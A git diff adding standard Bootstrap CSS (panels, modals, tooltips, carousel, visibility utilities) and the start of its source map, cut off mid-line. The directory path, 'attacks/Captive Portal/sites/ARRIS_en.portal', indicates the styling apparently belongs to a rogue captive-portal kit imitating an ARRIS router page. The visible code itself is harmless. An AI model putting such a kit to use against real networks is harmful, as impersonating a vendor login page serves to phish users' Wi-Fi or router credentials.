+.panel-title > .small, +.panel-title > small > a, +.panel-title > .small > a { + color: inherit; +} +.panel-footer { + padding: 10px 15px; + background-color: #f5f5f5; + border-top: 1px solid #ddd; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .list-group, +.panel > .panel-collapse > .list-group { + margin-bottom: 0; +} +.panel > .list-group .list-group-item, +.panel > .panel-collapse > .list-group .list-group-item { + border-width: 1px 0; + border-radius: 0; +} +.panel > .list-group:first-child .list-group-item:first-child, +.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child { + border-top: 0; + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .list-group:last-child .list-group-item:last-child, +.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child { + border-bottom: 0; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child { + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.panel-heading + .list-group .list-group-item:first-child { + border-top-width: 0; +} +.list-group + .panel-footer { + border-top-width: 0; +} +.panel > .table, +.panel > .table-responsive > .table, +.panel > .panel-collapse > .table { + margin-bottom: 0; +} +.panel > .table caption, +.panel > .table-responsive > .table caption, +.panel > .panel-collapse > .table caption { + padding-right: 15px; + padding-left: 15px; +} +.panel > .table:first-child, +.panel > .table-responsive:first-child > .table:first-child { + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child { + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child { + border-top-left-radius: 3px; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child { + border-top-right-radius: 3px; +} +.panel > .table:last-child, +.panel > .table-responsive:last-child > .table:last-child { + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child { + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child { + border-bottom-left-radius: 3px; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child { + border-bottom-right-radius: 3px; +} +.panel > .panel-body + .table, +.panel > .panel-body + .table-responsive, +.panel > .table + .panel-body, +.panel > .table-responsive + .panel-body { + border-top: 1px solid #ddd; +} +.panel > .table > tbody:first-child > tr:first-child th, +.panel > .table > tbody:first-child > tr:first-child td { + border-top: 0; +} +.panel > .table-bordered, +.panel > .table-responsive > .table-bordered { + border: 0; +} +.panel > .table-bordered > thead > tr > th:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:first-child, +.panel > .table-bordered > tbody > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child, +.panel > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-bordered > thead > tr > td:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:first-child, +.panel > .table-bordered > tbody > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child, +.panel > .table-bordered > tfoot > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-left: 0; +} +.panel > .table-bordered > thead > tr > th:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:last-child, +.panel > .table-bordered > tbody > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child, +.panel > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-bordered > thead > tr > td:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:last-child, +.panel > .table-bordered > tbody > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child, +.panel > .table-bordered > tfoot > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-right: 0; +} +.panel > .table-bordered > thead > tr:first-child > td, +.panel > .table-responsive > .table-bordered > thead > tr:first-child > td, +.panel > .table-bordered > tbody > tr:first-child > td, +.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td, +.panel > .table-bordered > thead > tr:first-child > th, +.panel > .table-responsive > .table-bordered > thead > tr:first-child > th, +.panel > .table-bordered > tbody > tr:first-child > th, +.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th { + border-bottom: 0; +} +.panel > .table-bordered > tbody > tr:last-child > td, +.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td, +.panel > .table-bordered > tfoot > tr:last-child > td, +.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td, +.panel > .table-bordered > tbody > tr:last-child > th, +.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th, +.panel > .table-bordered > tfoot > tr:last-child > th, +.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th { + border-bottom: 0; +} +.panel > .table-responsive { + margin-bottom: 0; + border: 0; +} +.panel-group { + margin-bottom: 20px; +} +.panel-group .panel { + margin-bottom: 0; + border-radius: 4px; +} +.panel-group .panel + .panel { + margin-top: 5px; +} +.panel-group .panel-heading { + border-bottom: 0; +} +.panel-group .panel-heading + .panel-collapse > .panel-body, +.panel-group .panel-heading + .panel-collapse > .list-group { + border-top: 1px solid #ddd; +} +.panel-group .panel-footer { + border-top: 0; +} +.panel-group .panel-footer + .panel-collapse .panel-body { + border-bottom: 1px solid #ddd; +} +.panel-default { + border-color: #ddd; +} +.panel-default > .panel-heading { + color: #333; + background-color: #f5f5f5; + border-color: #ddd; +} +.panel-default > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #ddd; +} +.panel-default > .panel-heading .badge { + color: #f5f5f5; + background-color: #333; +} +.panel-default > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #ddd; +} +.panel-primary { + border-color: #337ab7; +} +.panel-primary > .panel-heading { + color: #fff; + background-color: #337ab7; + border-color: #337ab7; +} +.panel-primary > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #337ab7; +} +.panel-primary > .panel-heading .badge { + color: #337ab7; + background-color: #fff; +} +.panel-primary > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #337ab7; +} +.panel-success { + border-color: #d6e9c6; +} +.panel-success > .panel-heading { + color: #3c763d; + background-color: #dff0d8; + border-color: #d6e9c6; +} +.panel-success > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #d6e9c6; +} +.panel-success > .panel-heading .badge { + color: #dff0d8; + background-color: #3c763d; +} +.panel-success > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #d6e9c6; +} +.panel-info { + border-color: #bce8f1; +} +.panel-info > .panel-heading { + color: #31708f; + background-color: #d9edf7; + border-color: #bce8f1; +} +.panel-info > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #bce8f1; +} +.panel-info > .panel-heading .badge { + color: #d9edf7; + background-color: #31708f; +} +.panel-info > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #bce8f1; +} +.panel-warning { + border-color: #faebcc; +} +.panel-warning > .panel-heading { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #faebcc; +} +.panel-warning > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #faebcc; +} +.panel-warning > .panel-heading .badge { + color: #fcf8e3; + background-color: #8a6d3b; +} +.panel-warning > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #faebcc; +} +.panel-danger { + border-color: #ebccd1; +} +.panel-danger > .panel-heading { + color: #a94442; + background-color: #f2dede; + border-color: #ebccd1; +} +.panel-danger > .panel-heading + .panel-collapse > .panel-body { + border-top-color: #ebccd1; +} +.panel-danger > .panel-heading .badge { + color: #f2dede; + background-color: #a94442; +} +.panel-danger > .panel-footer + .panel-collapse > .panel-body { + border-bottom-color: #ebccd1; +} +.embed-responsive { + position: relative; + display: block; + height: 0; + padding: 0; + overflow: hidden; +} +.embed-responsive .embed-responsive-item, +.embed-responsive iframe, +.embed-responsive embed, +.embed-responsive object, +.embed-responsive video { + position: absolute; + top: 0; + bottom: 0; + left: 0; + width: 100%; + height: 100%; + border: 0; +} +.embed-responsive-16by9 { + padding-bottom: 56.25%; +} +.embed-responsive-4by3 { + padding-bottom: 75%; +} +.well { + min-height: 20px; + padding: 19px; + margin-bottom: 20px; + background-color: #f5f5f5; + border: 1px solid #e3e3e3; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); +} +.well blockquote { + border-color: #ddd; + border-color: rgba(0, 0, 0, .15); +} +.well-lg { + padding: 24px; + border-radius: 6px; +} +.well-sm { + padding: 9px; + border-radius: 3px; +} +.close { + float: right; + font-size: 21px; + font-weight: bold; + line-height: 1; + color: #000; + text-shadow: 0 1px 0 #fff; + filter: alpha(opacity=20); + opacity: .2; +} +.close:hover, +.close:focus { + color: #000; + text-decoration: none; + cursor: pointer; + filter: alpha(opacity=50); + opacity: .5; +} +button.close { + -webkit-appearance: none; + padding: 0; + cursor: pointer; + background: transparent; + border: 0; +} +.modal-open { + overflow: hidden; +} +.modal { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1050; + display: none; + overflow: hidden; + -webkit-overflow-scrolling: touch; + outline: 0; +} +.modal.fade .modal-dialog { + -webkit-transition: -webkit-transform .3s ease-out; + -o-transition: -o-transform .3s ease-out; + transition: transform .3s ease-out; + -webkit-transform: translate(0, -25%); + -ms-transform: translate(0, -25%); + -o-transform: translate(0, -25%); + transform: translate(0, -25%); +} +.modal.in .modal-dialog { + -webkit-transform: translate(0, 0); + -ms-transform: translate(0, 0); + -o-transform: translate(0, 0); + transform: translate(0, 0); +} +.modal-open .modal { + overflow-x: hidden; + overflow-y: auto; +} +.modal-dialog { + position: relative; + width: auto; + margin: 10px; +} +.modal-content { + position: relative; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #999; + border: 1px solid rgba(0, 0, 0, .2); + border-radius: 6px; + outline: 0; + -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5); + box-shadow: 0 3px 9px rgba(0, 0, 0, .5); +} +.modal-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1040; + background-color: #000; +} +.modal-backdrop.fade { + filter: alpha(opacity=0); + opacity: 0; +} +.modal-backdrop.in { + filter: alpha(opacity=50); + opacity: .5; +} +.modal-header { + padding: 15px; + border-bottom: 1px solid #e5e5e5; +} +.modal-header .close { + margin-top: -2px; +} +.modal-title { + margin: 0; + line-height: 1.42857143; +} +.modal-body { + position: relative; + padding: 15px; +} +.modal-footer { + padding: 15px; + text-align: right; + border-top: 1px solid #e5e5e5; +} +.modal-footer .btn + .btn { + margin-bottom: 0; + margin-left: 5px; +} +.modal-footer .btn-group .btn + .btn { + margin-left: -1px; +} +.modal-footer .btn-block + .btn-block { + margin-left: 0; +} +.modal-scrollbar-measure { + position: absolute; + top: -9999px; + width: 50px; + height: 50px; + overflow: scroll; +} +@media (min-width: 768px) { + .modal-dialog { + width: 600px; + margin: 30px auto; + } + .modal-content { + -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5); + box-shadow: 0 5px 15px rgba(0, 0, 0, .5); + } + .modal-sm { + width: 300px; + } +} +@media (min-width: 992px) { + .modal-lg { + width: 900px; + } +} +.tooltip { + position: absolute; + z-index: 1070; + display: block; + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 12px; + font-style: normal; + font-weight: normal; + line-height: 1.42857143; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + word-wrap: normal; + white-space: normal; + filter: alpha(opacity=0); + opacity: 0; + + line-break: auto; +} +.tooltip.in { + filter: alpha(opacity=90); + opacity: .9; +} +.tooltip.top { + padding: 5px 0; + margin-top: -3px; +} +.tooltip.right { + padding: 0 5px; + margin-left: 3px; +} +.tooltip.bottom { + padding: 5px 0; + margin-top: 3px; +} +.tooltip.left { + padding: 0 5px; + margin-left: -3px; +} +.tooltip-inner { + max-width: 200px; + padding: 3px 8px; + color: #fff; + text-align: center; + background-color: #000; + border-radius: 4px; +} +.tooltip-arrow { + position: absolute; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; +} +.tooltip.top .tooltip-arrow { + bottom: 0; + left: 50%; + margin-left: -5px; + border-width: 5px 5px 0; + border-top-color: #000; +} +.tooltip.top-left .tooltip-arrow { + right: 5px; + bottom: 0; + margin-bottom: -5px; + border-width: 5px 5px 0; + border-top-color: #000; +} +.tooltip.top-right .tooltip-arrow { + bottom: 0; + left: 5px; + margin-bottom: -5px; + border-width: 5px 5px 0; + border-top-color: #000; +} +.tooltip.right .tooltip-arrow { + top: 50%; + left: 0; + margin-top: -5px; + border-width: 5px 5px 5px 0; + border-right-color: #000; +} +.tooltip.left .tooltip-arrow { + top: 50%; + right: 0; + margin-top: -5px; + border-width: 5px 0 5px 5px; + border-left-color: #000; +} +.tooltip.bottom .tooltip-arrow { + top: 0; + left: 50%; + margin-left: -5px; + border-width: 0 5px 5px; + border-bottom-color: #000; +} +.tooltip.bottom-left .tooltip-arrow { + top: 0; + right: 5px; + margin-top: -5px; + border-width: 0 5px 5px; + border-bottom-color: #000; +} +.tooltip.bottom-right .tooltip-arrow { + top: 0; + left: 5px; + margin-top: -5px; + border-width: 0 5px 5px; + border-bottom-color: #000; +} +.popover { + position: absolute; + top: 0; + left: 0; + z-index: 1060; + display: none; + max-width: 276px; + padding: 1px; + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 14px; + font-style: normal; + font-weight: normal; + line-height: 1.42857143; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + word-wrap: normal; + white-space: normal; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, .2); + border-radius: 6px; + -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2); + box-shadow: 0 5px 10px rgba(0, 0, 0, .2); + + line-break: auto; +} +.popover.top { + margin-top: -10px; +} +.popover.right { + margin-left: 10px; +} +.popover.bottom { + margin-top: 10px; +} +.popover.left { + margin-left: -10px; +} +.popover-title { + padding: 8px 14px; + margin: 0; + font-size: 14px; + background-color: #f7f7f7; + border-bottom: 1px solid #ebebeb; + border-radius: 5px 5px 0 0; +} +.popover-content { + padding: 9px 14px; +} +.popover > .arrow, +.popover > .arrow:after { + position: absolute; + display: block; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; +} +.popover > .arrow { + border-width: 11px; +} +.popover > .arrow:after { + content: ""; + border-width: 10px; +} +.popover.top > .arrow { + bottom: -11px; + left: 50%; + margin-left: -11px; + border-top-color: #999; + border-top-color: rgba(0, 0, 0, .25); + border-bottom-width: 0; +} +.popover.top > .arrow:after { + bottom: 1px; + margin-left: -10px; + content: " "; + border-top-color: #fff; + border-bottom-width: 0; +} +.popover.right > .arrow { + top: 50%; + left: -11px; + margin-top: -11px; + border-right-color: #999; + border-right-color: rgba(0, 0, 0, .25); + border-left-width: 0; +} +.popover.right > .arrow:after { + bottom: -10px; + left: 1px; + content: " "; + border-right-color: #fff; + border-left-width: 0; +} +.popover.bottom > .arrow { + top: -11px; + left: 50%; + margin-left: -11px; + border-top-width: 0; + border-bottom-color: #999; + border-bottom-color: rgba(0, 0, 0, .25); +} +.popover.bottom > .arrow:after { + top: 1px; + margin-left: -10px; + content: " "; + border-top-width: 0; + border-bottom-color: #fff; +} +.popover.left > .arrow { + top: 50%; + right: -11px; + margin-top: -11px; + border-right-width: 0; + border-left-color: #999; + border-left-color: rgba(0, 0, 0, .25); +} +.popover.left > .arrow:after { + right: 1px; + bottom: -10px; + content: " "; + border-right-width: 0; + border-left-color: #fff; +} +.carousel { + position: relative; +} +.carousel-inner { + position: relative; + width: 100%; + overflow: hidden; +} +.carousel-inner > .item { + position: relative; + display: none; + -webkit-transition: .6s ease-in-out left; + -o-transition: .6s ease-in-out left; + transition: .6s ease-in-out left; +} +.carousel-inner > .item > img, +.carousel-inner > .item > a > img { + line-height: 1; +} +@media all and (transform-3d), (-webkit-transform-3d) { + .carousel-inner > .item { + -webkit-transition: -webkit-transform .6s ease-in-out; + -o-transition: -o-transform .6s ease-in-out; + transition: transform .6s ease-in-out; + + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-perspective: 1000px; + perspective: 1000px; + } + .carousel-inner > .item.next, + .carousel-inner > .item.active.right { + left: 0; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } + .carousel-inner > .item.prev, + .carousel-inner > .item.active.left { + left: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + .carousel-inner > .item.next.left, + .carousel-inner > .item.prev.right, + .carousel-inner > .item.active { + left: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +.carousel-inner > .active, +.carousel-inner > .next, +.carousel-inner > .prev { + display: block; +} +.carousel-inner > .active { + left: 0; +} +.carousel-inner > .next, +.carousel-inner > .prev { + position: absolute; + top: 0; + width: 100%; +} +.carousel-inner > .next { + left: 100%; +} +.carousel-inner > .prev { + left: -100%; +} +.carousel-inner > .next.left, +.carousel-inner > .prev.right { + left: 0; +} +.carousel-inner > .active.left { + left: -100%; +} +.carousel-inner > .active.right { + left: 100%; +} +.carousel-control { + position: absolute; + top: 0; + bottom: 0; + left: 0; + width: 15%; + font-size: 20px; + color: #fff; + text-align: center; + text-shadow: 0 1px 2px rgba(0, 0, 0, .6); + background-color: rgba(0, 0, 0, 0); + filter: alpha(opacity=50); + opacity: .5; +} +.carousel-control.left { + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); + background-image: -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001))); + background-image: linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1); + background-repeat: repeat-x; +} +.carousel-control.right { + right: 0; + left: auto; + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); + background-image: -o-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .0001)), to(rgba(0, 0, 0, .5))); + background-image: linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1); + background-repeat: repeat-x; +} +.carousel-control:hover, +.carousel-control:focus { + color: #fff; + text-decoration: none; + filter: alpha(opacity=90); + outline: 0; + opacity: .9; +} +.carousel-control .icon-prev, +.carousel-control .icon-next, +.carousel-control .glyphicon-chevron-left, +.carousel-control .glyphicon-chevron-right { + position: absolute; + top: 50%; + z-index: 5; + display: inline-block; + margin-top: -10px; +} +.carousel-control .icon-prev, +.carousel-control .glyphicon-chevron-left { + left: 50%; + margin-left: -10px; +} +.carousel-control .icon-next, +.carousel-control .glyphicon-chevron-right { + right: 50%; + margin-right: -10px; +} +.carousel-control .icon-prev, +.carousel-control .icon-next { + width: 20px; + height: 20px; + font-family: serif; + line-height: 1; +} +.carousel-control .icon-prev:before { + content: '\2039'; +} +.carousel-control .icon-next:before { + content: '\203a'; +} +.carousel-indicators { + position: absolute; + bottom: 10px; + left: 50%; + z-index: 15; + width: 60%; + padding-left: 0; + margin-left: -30%; + text-align: center; + list-style: none; +} +.carousel-indicators li { + display: inline-block; + width: 10px; + height: 10px; + margin: 1px; + text-indent: -999px; + cursor: pointer; + background-color: #000 \9; + background-color: rgba(0, 0, 0, 0); + border: 1px solid #fff; + border-radius: 10px; +} +.carousel-indicators .active { + width: 12px; + height: 12px; + margin: 0; + background-color: #fff; +} +.carousel-caption { + position: absolute; + right: 15%; + bottom: 20px; + left: 15%; + z-index: 10; + padding-top: 20px; + padding-bottom: 20px; + color: #fff; + text-align: center; + text-shadow: 0 1px 2px rgba(0, 0, 0, .6); +} +.carousel-caption .btn { + text-shadow: none; +} +@media screen and (min-width: 768px) { + .carousel-control .glyphicon-chevron-left, + .carousel-control .glyphicon-chevron-right, + .carousel-control .icon-prev, + .carousel-control .icon-next { + width: 30px; + height: 30px; + margin-top: -10px; + font-size: 30px; + } + .carousel-control .glyphicon-chevron-left, + .carousel-control .icon-prev { + margin-left: -10px; + } + .carousel-control .glyphicon-chevron-right, + .carousel-control .icon-next { + margin-right: -10px; + } + .carousel-caption { + right: 20%; + left: 20%; + padding-bottom: 30px; + } + .carousel-indicators { + bottom: 20px; + } +} +.clearfix:before, +.clearfix:after, +.dl-horizontal dd:before, +.dl-horizontal dd:after, +.container:before, +.container:after, +.container-fluid:before, +.container-fluid:after, +.row:before, +.row:after, +.form-horizontal .form-group:before, +.form-horizontal .form-group:after, +.btn-toolbar:before, +.btn-toolbar:after, +.btn-group-vertical > .btn-group:before, +.btn-group-vertical > .btn-group:after, +.nav:before, +.nav:after, +.navbar:before, +.navbar:after, +.navbar-header:before, +.navbar-header:after, +.navbar-collapse:before, +.navbar-collapse:after, +.pager:before, +.pager:after, +.panel-body:before, +.panel-body:after, +.modal-header:before, +.modal-header:after, +.modal-footer:before, +.modal-footer:after { + display: table; + content: " "; +} +.clearfix:after, +.dl-horizontal dd:after, +.container:after, +.container-fluid:after, +.row:after, +.form-horizontal .form-group:after, +.btn-toolbar:after, +.btn-group-vertical > .btn-group:after, +.nav:after, +.navbar:after, +.navbar-header:after, +.navbar-collapse:after, +.pager:after, +.panel-body:after, +.modal-header:after, +.modal-footer:after { + clear: both; +} +.center-block { + display: block; + margin-right: auto; + margin-left: auto; +} +.pull-right { + float: right !important; +} +.pull-left { + float: left !important; +} +.hide { + display: none !important; +} +.show { + display: block !important; +} +.invisible { + visibility: hidden; +} +.text-hide { + font: 0/0 a; + color: transparent; + text-shadow: none; + background-color: transparent; + border: 0; +} +.hidden { + display: none !important; +} +.affix { + position: fixed; +} +@-ms-viewport { + width: device-width; +} +.visible-xs, +.visible-sm, +.visible-md, +.visible-lg { + display: none !important; +} +.visible-xs-block, +.visible-xs-inline, +.visible-xs-inline-block, +.visible-sm-block, +.visible-sm-inline, +.visible-sm-inline-block, +.visible-md-block, +.visible-md-inline, +.visible-md-inline-block, +.visible-lg-block, +.visible-lg-inline, +.visible-lg-inline-block { + display: none !important; +} +@media (max-width: 767px) { + .visible-xs { + display: block !important; + } + table.visible-xs { + display: table !important; + } + tr.visible-xs { + display: table-row !important; + } + th.visible-xs, + td.visible-xs { + display: table-cell !important; + } +} +@media (max-width: 767px) { + .visible-xs-block { + display: block !important; + } +} +@media (max-width: 767px) { + .visible-xs-inline { + display: inline !important; + } +} +@media (max-width: 767px) { + .visible-xs-inline-block { + display: inline-block !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm { + display: block !important; + } + table.visible-sm { + display: table !important; + } + tr.visible-sm { + display: table-row !important; + } + th.visible-sm, + td.visible-sm { + display: table-cell !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm-block { + display: block !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm-inline { + display: inline !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .visible-sm-inline-block { + display: inline-block !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md { + display: block !important; + } + table.visible-md { + display: table !important; + } + tr.visible-md { + display: table-row !important; + } + th.visible-md, + td.visible-md { + display: table-cell !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md-block { + display: block !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md-inline { + display: inline !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .visible-md-inline-block { + display: inline-block !important; + } +} +@media (min-width: 1200px) { + .visible-lg { + display: block !important; + } + table.visible-lg { + display: table !important; + } + tr.visible-lg { + display: table-row !important; + } + th.visible-lg, + td.visible-lg { + display: table-cell !important; + } +} +@media (min-width: 1200px) { + .visible-lg-block { + display: block !important; + } +} +@media (min-width: 1200px) { + .visible-lg-inline { + display: inline !important; + } +} +@media (min-width: 1200px) { + .visible-lg-inline-block { + display: inline-block !important; + } +} +@media (max-width: 767px) { + .hidden-xs { + display: none !important; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .hidden-sm { + display: none !important; + } +} +@media (min-width: 992px) and (max-width: 1199px) { + .hidden-md { + display: none !important; + } +} +@media (min-width: 1200px) { + .hidden-lg { + display: none !important; + } +} +.visible-print { + display: none !important; +} +@media print { + .visible-print { + display: block !important; + } + table.visible-print { + display: table !important; + } + tr.visible-print { + display: table-row !important; + } + th.visible-print, + td.visible-print { + display: table-cell !important; + } +} +.visible-print-block { + display: none !important; +} +@media print { + .visible-print-block { + display: block !important; + } +} +.visible-print-inline { + display: none !important; +} +@media print { + .visible-print-inline { + display: inline !important; + } +} +.visible-print-inline-block { + display: none !important; +} +@media print { + .visible-print-inline-block { + display: inline-block !important; + } +} +@media print { + .hidden-print { + display: none !important; + } +} +/*# sourceMappingURL=bootstrap.css.map */ diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.css.map b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.css.map new file mode 100644 index 0000000..f010c82 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["bootstrap.css","less/normalize.less","less/print.less","less/glyphicons.less","less/scaffolding.less","less/mixins/vendor-prefixes.less","less/mixins/tab-focus.less","less/mixins/image.less","less/type.less","less/mixins/text-emphasis.less","less/mixins/background-variant.less","less/mixins/text-overflow.less","less/code.less","less/grid.less","less/mixins/grid.less","less/mixins/grid-framework.less","less/tables.less","less/mixins/table-row.less","less/forms.less","less/mixins/forms.less","less/buttons.less","less/mixins/buttons.less","less/mixins/opacity.less","less/component-animations.less","less/dropdowns.less","less/mixins/nav-divider.less","less/mixins/reset-filter.less","less/button-groups.less","less/mixins/border-radius.less","less/input-groups.less","less/navs.less","less/navbar.less","less/mixins/nav-vertical-align.less","less/utilities.less","less/breadcrumbs.less","less/pagination.less","less/mixins/pagination.less","less/pager.less","less/labels.less","less/mixins/labels.less","less/badges.less","less/jumbotron.less","less/thumbnails.less","less/alerts.less","less/mixins/alerts.less","less/progress-bars.less","less/mixins/gradients.less","less/mixins/progress-bar.less","less/media.less","less/list-group.less","less/mixins/list-group.less","less/panels.less","less/mixins/panels.less","less/responsive-embed.less","less/wells.less","less/close.less","less/modals.less","less/tooltip.less","less/mixins/reset-text.less","less/popovers.less","less/carousel.less","less/